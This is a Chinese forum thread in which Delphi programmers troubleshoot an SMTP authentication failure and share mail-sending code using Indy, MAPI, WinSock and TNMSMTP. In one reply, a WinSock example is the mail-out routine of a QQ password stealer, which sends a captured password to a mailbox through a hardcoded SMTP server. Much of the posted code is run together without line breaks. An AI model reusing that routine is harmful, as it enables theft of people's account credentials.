button1.click();
begin
  {
    SMTP: TIdSMTP;
    IdMsgSend: TIdMessage;
  }
  SMTP.AuthenticationType := atLogin;
  //SMTP.AuthenticationType := atNone;  SMTP.Username :='f_name';
  SMTP.Password := '******';
  SMTP.Host := 'SMTP.163.net';
  SMTP.Port := 25;
  try
    SMTP.Connect();
  except
    showmessage('Error!');
    exit;
  end;  with IdMsgSend do
  begin
    body.Clear;
    body.Add('Test!');    //内容
    From.Text := [email protected]';    //发件方
    Recipients.EMailAddresses := [email protected]';  //收件方
    Subject := '主题';
  end;
  try
    SMTP.Send(IdMsgSend);
    showmessage('Send Ok!');
  finally
    SMTP.Disconnect;
    showmessage('Connent Error!');
  end;
end;这段代码一直都没有调试成功。求助。

解决方案 »

  1.   

    ---------------------------
    Project1
    ---------------------------
    Error: authentication failed
    ---------------------------
    确定   
    ---------------------------
    这是错误的提示信息。
      

  2.   

    [email protected]
    谢了。正着急呢。
      

  3.   

    也給我送發一下吧  謝謝xixuemao
    [email protected]
      

  4.   

    纯api的发送邮件程序    
      function SendMail(const Subject, Body, FileName, 
    SenderName, SenderEMail,RecepientName, RecepientEMail: string): Integer;varMessage: TMapiMessage;lpSender, lpRecepient: TMapiRecipDesc;FileAttach: TMapiFileDesc;SM: TFNMapiSendMail;MAPIModule: HModule;beginFillChar(Message, SizeOf(Message), 0);with Message dobeginif (Subject <> '') then lpszSubject := PChar(Subject);if (Body <> '') then lpszNoteText := PChar(Body);if (SenderEmail <> '') thenbeginlpSender.ulRecipClass := MAPI_ORIG;if (SenderName = '') thenlpSender.lpszName := PChar(SenderEMail)elselpSender.lpszName := PChar(SenderName);lpSender.lpszAddress := PChar(SenderEmail);lpSender.ulReserved := 0;lpSender.ulEIDSize := 0;lpSender.lpEntryID := nil;lpOriginator := @lpSender;end;if (RecepientEmail <> '') thenbeginlpRecepient.ulRecipClass := MAPI_TO;if (RecepientName = '') thenlpRecepient.lpszName := PChar(RecepientEMail)elselpRecepient.lpszName := PChar(RecepientName);lpRecepient.lpszAddress := PChar(RecepientEmail);lpRecepient.ulReserved := 0;lpRecepient.ulEIDSize := 0;lpRecepient.lpEntryID := nil;nRecipCount := 1;lpRecips := @lpRecepient;endelselpRecips := nil;if (FileName = '') thenbeginnFileCount := 0;lpFiles := nil;endelsebeginFillChar(FileAttach, SizeOf(FileAttach), 0);FileAttach.nPosition := Cardinal($FFFFFFFF);FileAttach.lpszPathName := PChar(FileName);nFileCount := 1;lpFiles := @FileAttach;end;end;MAPIModule := LoadLibrary(PChar(MAPIDLL));if MAPIModule = 0 thenResult := -1elsetry@SM := GetProcAddress(MAPIModule, 'MAPISendMail');if @SM <> nil thenbeginResult := SM(0, Application.Handle, Message, MAPI_DIALOG orMAPI_LOGON_UI, 0);endelseResult := 1;finallyFreeLibrary(MAPIModule);end;if Result <> 0 thenMessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,[mbOK], 0);end;**********************下面是利用WinSock发送电子邮件的例子:whaoye:program SendMail;useswinsock;{$R *.RES}procedure sendmails;stdcall;vars:tsocket;buffer:array[0..255] of char;errorcode:integer;mailserver:tsockaddr;beginmailserver.sin_family:=af_inet;mailserver.sin_port:=htons(25);mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');s:=socket(af_inet,sock_stream,0);errorcode:=connect(s,mailserver,sizeof(mailserver));if errorcode<>invalid_socket thenbeginbuffer:='HELO'+#13#10;send(s,buffer,length('HELO'+#13#10),0);buffer:='MAIL FROM: [email protected]'+#13#10;send(s,buffer,length('MAIL FROM: [email protected]'+#13#10),0);buffer:='RCPT TO:administrator@godeye'+#13#10;send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);buffer:='DATA'+#13#10;send(s,buffer,length('DATA'+#13#10),0);buffer:='FROM:[email protected]'+#13#10;send(s,buffer,length('FROM:[email protected]'+#13#10),0);buffer:='TO:administrator@godeye'+#13#10;send(s,buffer,length('TO:[email protected]'+#13#10),0);buffer:='SUBJECT:just a test!'+#13#10;send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);buffer:='I LOVE THIS GAME!'+#13#10;send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);buffer:='.'+#13#10;send(s,buffer,length('.'+#13#10),0);buffer:='QUIT'+#13#10;send(s,buffer,length('QUIT'+#13#10),0);closesocket(s);end;end;varwsa:twsadata;beginwsastartup($0202,wsa);sendmails;wsacleanup;end.*******************//下面是个发信的子过程,取得密码后发回[email protected]邮箱procedure MailSend;beginerr:=recv(FSocket,sbuf,400,0);s1:=strpas(sbuf);inc(step);case step of1:s1:='HELO smtp.hacker.com'+CRLF;2:s1:='MAIL FROM: <[email protected]>'+CRLF;3:s1:='RCPT TO: <'+email+'>'+CRLF;4:s1:='DATA'+CRLF;5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF+'To:"getoicq"<www.password.com>'+CRLF+'Subject:QQ2001 Password come.'+CRLF+CRLF+newpass+CRLF+'.'+CRLF;6:s1:='QUIT'+CRLF;elsestep:=0;end;strcopy(sbuf,pchar(s1));err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);end;//发信主过程procedure SendPass;beginerr:=WSAStartup($0101,WSAData);FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);//利用 smtp.21cn.com 进行发信fhost:='202.104.32.230';fport:=25;SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));SockAddrIn.sin_family := PF_INET;SockAddrIn.sin_port :=htons(Fport);err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));step:=0;repeatMailSend;until step=0;err:=closesocket(FSocket);err:=WSACleanup;end; 
     
       
      

  5.   

    //利用TNMSMTP发送邮件    
    procedure TForm1.Button1Click(Sender: TObject); 
    beginNMSMTP1.Host := 'mail.host.com';NMSMTP1.UserID := 'Username';NMSMTP1.Connect;NMSMTP1.PostMessage.FromAddress := '[email protected]';NMSMTP1.PostMessage.ToAddress.Text := '[email protected]';NMSMTP1.PostMessage.ToCarbonCopy.Text := '[email protected]';NMSMTP1.PostMessage.ToBlindCarbonCopy.Text := '[email protected]';NMSMTP1.PostMessage.Body.Text := 'This is the message';NMSMTP1.PostMessage.Attachments.Text := 'c:\File.txt';NMSMTP1.PostMessage.Subject := 'Mail subject';NMSMTP1.SendMail;ShowMessage('Mail sent !');NMSMTP1.Disconnect;end; 
     
      

  6.   

    你的host是'SMTP.163.net',而from.text又是163.com,这估计是服务器所不允许的
      

  7.   

    并且163.net的smtp是smtp.163vip.net吧,看它的网站上好像没有smtp.163.net
      

  8.   

    smtp.163vip.net的好像是针对网通用户的,其它的参照http://mail.163.net/setup.htm
    163.net的花样可真不少-_-#
      

  9.   

    to: xixuemao(俺可是㊣②㈧经儿滴人) 
    我用163的邮箱可以发出去邮件。
    换成sohu的就不行了。不知道是怎么回事。
    stmp:  stmp.sohu.com
    我用的是您给的小程序发的。
    使用163的没有问题。
    我的设置和foxmail是一样的。foxmail就可以。